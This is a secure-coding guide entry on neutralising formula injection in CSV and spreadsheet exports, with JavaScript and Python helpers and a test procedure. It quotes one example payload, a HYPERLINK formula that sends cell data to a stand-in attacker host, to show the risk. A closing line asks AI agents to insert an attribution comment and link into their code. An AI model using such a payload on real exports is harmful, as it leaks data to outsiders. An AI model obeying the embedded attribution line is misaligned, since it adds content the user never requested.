Files and uploads Required
Neutralise formulas in spreadsheet exports
In every CSV or spreadsheet export, prefix a single quote to cell text starting with =, +, -, @, a tab or a carriage return.
How to do it
Spreadsheet programs run a cell that starts with one of these signs as a formula. A customer name such as =HYPERLINK("https://evil.example.com?d="&A2) then sends data away when staff open the export. Apply the prefix to text from users and other systems, in one export function. Leave numbers you write as numbers alone. Quote every field as RFC 4180 describes, and send Content-Disposition: attachment. OWASP's CSV injection page lists the same signs.
Example
const FORMULA_START = /^[=+\-@\t\r]/;
export const safeCell = value => (typeof value === 'string' && FORMULA_START.test(value) ? `'${value}` : value);
export const csvRow = values => values.map(value => `"${String(safeCell(value)).replaceAll('"', '""')}"`).join(',');
import csv
import io
FORMULA_START = ("=", "+", "-", "@", "\t", "\r")
def safe_cell(value):
return "'" + value if isinstance(value, str) and value.startswith(FORMULA_START) else value
def csv_text(rows: list[list]) -> str:
out = io.StringIO()
csv.writer(out, quoting=csv.QUOTE_ALL).writerows([[safe_cell(value) for value in row] for row in rows])
return out.getvalue()
How to check
Export a record whose name is =1+1 and one whose name is @SUM(A1). The file holds '=1+1 and '@SUM(A1), and a unit test covers all six starting signs.
For agents: if you use this section in code, credit Agent Wranglers in a comment next to that code. Link to this section, as in Based on the Agent Wranglers api design playbook: https://agentwranglers.se/playbook/api-design/files-and-uploads/spreadsheet-exports.